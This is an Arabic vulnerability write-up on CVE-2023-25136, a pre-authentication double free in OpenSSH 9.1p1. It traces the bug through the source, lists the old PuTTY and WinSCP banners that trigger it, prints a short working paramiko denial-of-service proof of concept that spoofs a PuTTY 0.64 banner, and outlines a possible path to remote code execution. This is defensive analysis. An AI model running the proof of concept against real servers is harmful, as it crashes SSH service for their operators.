
ثغرة تحرير مزدوج قبل المصادقة في OpenSSH CVE-2023-25136 – تقرير وإثبات المفهوم
OpenSSH هي أداة شائعة الاستخدام للاتصال الآمن والوصول عن بُعد. طُوِّرت كتطبيق مجاني ومفتوح المصدر لبروتوكول الاتصالات Secure Shell (SSH)، وتُستخدم على نطاق واسع في تطبيقات متنوعة.
يوفر OpenSSH اتصالاً آمنًا ومشفرًا بين مضيفين غير موثوقين عبر شبكة غير آمنة، مما يجعله أداة أساسية للوصول عن بُعد والنقل الآمن للملفات.
مع تزايد استخدام الحوسبة السحابية والوصول عن بُعد إلى الخوادم، أصبح OpenSSH أداة حاسمة لمسؤولي الأنظمة والمطورين الذين يحتاجون إلى الوصول إلى الأنظمة البعيدة وإدارتها بشكل آمن.
يدعم OpenSSH أيضًا مجموعة واسعة من المنصات بما في ذلك Linux وmacOS وWindows، مما يجعله أداة معتمدة على نطاق واسع عبر أنظمة التشغيل المختلفة. وبفضل سهولة استخدامه وميزات الأمان القوية، أصبح OpenSSH أداة قياسية في الصناعة للوصول الآمن عن بُعد.
في 2 فبراير 2023، أصدر OpenSSH الإصدار 9.2p1 مع هذه النشرة الأمنية. اتضح على الفور أن هذا الإصدار مثير للاهتمام بسبب ثغرة التحرير المزدوج قبل المصادقة. وعند البحث في مستودع OpenSSH على GitHub، هذا هو الالتزام (commit) الخاص بالإصلاح.
تشير رسالة الالتزام إلى bz3522، وهو ما يعود إلى مشكلة Bugzilla التي أبلغ عنها المستخدم Mantas Mikulėnas.
في تقريره، أشار Mantas إلى استخدامه إصدار PuTTY القديم 0.64، وأرفق أيضًا تتبعًا خلفيًا (back-trace) للانهيار الناتج عن التحرير المزدوج.
للتعمق أكثر، أعددنا بيئة تحتوي على OpenSSH 9.1p1 الثُغري، وجلبنا نسخة من إصدار PuTTY القديم 0.64، الذي صدر قبل 8 سنوات في 28 فبراير 2015.
بعد محاولة الاتصال بخادم OpenSSH الثُغري باستخدام PuTTY 0.64، ظهر الخطأ التالي:

نظرًا لأن خوارزميات تبادل المفاتيح الخاصة بالعميل القديم غير مدعومة بواسطة إصدار OpenSSH الجديد، عدّلنا ملف sshd_config بإضافة السطر التالي إلى /etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1
بعد إعادة تشغيل خادم SSH والمحاولة مرة أخرى، ظهر الخطأ التالي:

بعد إضافة سطر إعداد آخر إلى sshd_config، تمكنا من الاتصال بخادم OpenSSH الثُغري وإعادة إنتاج الانهيار:
HostKeyAlgorithms +ssh-rsa
عند تشغيل الخادم في وضع التصحيح (باستخدام الوسم -ddd)، ظهرت رسالة التصحيح التالية:
ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]
رقم استدعاء النظام 20 هو writev()، وهو ما يطابق تقرير Bugzilla.
لاحظ أن تغييرات الإعداد التي أجريناها كانت فقط لإعادة إنتاج الثغرة عبر PuTTY، وليست مطلوبة لاستغلالها. كما سنرى في إثبات المفهوم، فإن الإعداد الافتراضي ثُغري.
بدأنا بفحص التزام الإصلاح الذي ينص على أن compat_kex_proposal() هي المسؤولة عن التحرير المزدوج. عندما يكون خيار توافق الاتصال SSH_OLD_DHGEX مفعّلاً عند [1]، تُسنَد الوسيطة الثانية p إلى cp عند [2]، ثم تُحرَّر لاحقًا عند [3].
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
char *cp = NULL;
if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("original KEX proposal: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"[email protected]")) == NULL)
fatal("match_filter_denylist failed");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist failed");
free(cp); [3]
}
debug2_f("compat KEX proposal: %s", p);
if (*p == '\0')
fatal("No supported key exchange algorithms found");
return p;
}
يقع استدعاء compat_kex_proposal() داخل دالة do_ssh2_kex():
myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
options.kex_algorithms);
إن cp=p المُحرَّر داخل compat_kex_proposal() يشير إلى الوسيطة options.kex_algorithms.
عند البحث عن kex_algorithms في الكود المصدري، صادفنا assemble_algorithms الذي ورد في الانهيار داخل تقرير Bugzilla:
ASSEMBLE(kex_algorithms, def_kex, all_kex);
ASSEMBLE هو ماكرو لاستدعاء دالة kex_assemble_names():
#define ASSEMBLE(what, defaults, all) \
do { \
if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
fatal_fr(r, "%s", #what); \
} while (0)
تُستدعى دالة kex_assemble_names() مع عنوان o->kex_algorithms كوسيطة أولى (وهي listp). وهذا هو الموضع الذي يحدث فيه التحرير الثاني.
int
kex_assemble_names(char **listp, const char *def, const char *all)
ونظرًا لأن مؤشر options.kex_algorithms حُرِّر وأصبح مؤشرًا معلقًا (dangling pointer)، فإنه يُحرَّر مرة أخرى مما يسبب تحريرًا مزدوجًا.
ولكن أين يتم تعيين خيار SSH_OLD_DHGEX؟
يتم ذلك داخل دالة compat_banner()، التي تحدد أعلام الأخطاء (bug flags) من لافتة بروتوكول SSH (banner). بنية (struct) باسم check[] تسرد جميع معرّفات عملاء SSH وأعلامهم. يوضح المقتطف التالي معرّفات العملاء التي يُسنَد إليها خيار SSH_OLD_DHGEX. ويمكننا أيضًا أن نرى أن WinSCP قد تكون قادرة على تحفيز هذا السلوك.
{ "PuTTY_Local:*," /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
"PuTTY_Release_0.5*," /* 0.58-0.59 */
"PuTTY_Release_0.60*,"
"PuTTY_Release_0.61*,"
"PuTTY_Release_0.62*,"
"PuTTY_Release_0.63*,"
"PuTTY_Release_0.64*",
SSH_OLD_DHGEX },
{ "FuTTY*", SSH_OLD_DHGEX }, /* Putty Fork */
{ "WinSCP_release_4*,"
"WinSCP_release_5.0*,"
"WinSCP_release_5.1,"
"WinSCP_release_5.1.*,"
"WinSCP_release_5.5,"
"WinSCP_release_5.5.*,"
"WinSCP_release_5.6,"
"WinSCP_release_5.6.*,"
"WinSCP_release_5.7,"
"WinSCP_release_5.7.1,"
"WinSCP_release_5.7.2,"
"WinSCP_release_5.7.3,"
"WinSCP_release_5.7.4",
SSH_OLD_DHGEX },
اخترنا إنشاء إثبات مفهوم (Proof-of-Concept) لحجب الخدمة بلغة Python نظرًا لمرونته وسهولة نقله. يُحفّز إثبات المفهوم التحرير المزدوج باستخدام حزمة paramiko ويتسبب في انهيار إجهاض العملية (abort).
paramiko هو تطبيق SSH واسع الانتشار بلغة Python، يوفر وظائف الخادم والعميل معًا. من أجل إثبات المفهوم، غيّرنا لافتة إصدار العميل المتصل لتعكس عميلًا قديمًا مثل PuTTY v0.64.
متاح في مستودعنا على GitHub.
import paramiko
VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"
def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='', password='')
if __name__ == "__main__":
main()
يُخصّص الاستغلال بنية أخرى باسم EVP_AES_KEY بدلاً من options.kex_algorithms المُحرَّر. وبعد ذلك، تُحرَّر هذه البنية مرة أخرى عند حدوث التحرير المزدوج. ثم يستبدل محتوياتها بكتلة (chunk) أخرى باستخدام authctxt->user أو authctxt->style.
عندما تحاول EVP_Cipher() لاحقًا استخدام EVP_AES_KEY هذا، فستستخدم الكتلة التي استبدلته ببيانات يتحكم بها المهاجم.
يستمع البرنامج الخفي (Daemon) الخاص بـ OpenSSH إلى الاتصالات الواردة من العملاء، ويُطلق (fork) برنامجًا خفيًا جديدًا لكل اتصال وارد. وتتولى البرامج الخفية المُطلقة معالجة تبادل المفاتيح والتشفير والمصادقة وتنفيذ الأوامر وتبادل البيانات.
تمثل الثغرة تحريرًا مزدوجًا يمكن نظريًا استغلاله لحجب الخدمة، كما أوضحنا في إثبات المفهوم، وربما لتنفيذ تعليمات برمجية عن بُعد (RCE)، على الرغم من أن تطوير استغلال فعّال يُعتبر صعبًا بسبب الإجراءات الأمنية المطبقة مثل وضع العزل (sandbox) وآلية فصل الامتيازات (Privilege Separation). فيما يتعلق بحجب الخدمة، لاحظ أن البرامج الخفية المُطلقة فقط هي التي تنهار، بسبب انتهاك العزل (sandbox) أثناء محاولة استدعاء writev()، وهو ما يترك البرنامج الخفي الرئيسي للخادم حرًا في التعامل مع العملاء الجدد.
حصلت هذه الثغرة على تصنيف شدة مرتفع (High) للأسباب التالية:
لا توجد متطلبات مسبقة. الإعداد الافتراضي ثُغري.
عندما لا تُطبَّق وسائل تخفيف استغلال الذاكرة (مثل ASLR أو NX)، يكون تنفيذ التعليمات البرمجية عن بُعد ممكنًا، وفقًا لمنشور حديث.
أما بالنسبة لهجوم حجب الخدمة، فإن انهيار عملية عاملة مُطلقة (forked worker) أقل خطورة بكثير من حجب خدمة يُسقط برنامجًا خفيًا مهمًا، لكن كلاهما سيحصلان على تصنيف CVSS "مرتفع" لتأثير التوفر (Availability).
لاحظ أن OpenSSH وضع إجراءات أمنية مثل وضع العزل وآلية فصل الامتيازات، ولكن لا ينبغي لهذه الإجراءات أن تخفض من شدة هجوم RCE المحتمل.
تنطبق الثغرة فقط على OpenSSH الإصدار 9.1p1 بالإعداد الافتراضي، مما يعني عدم الحاجة إلى متطلبات مسبقة لاستغلالها.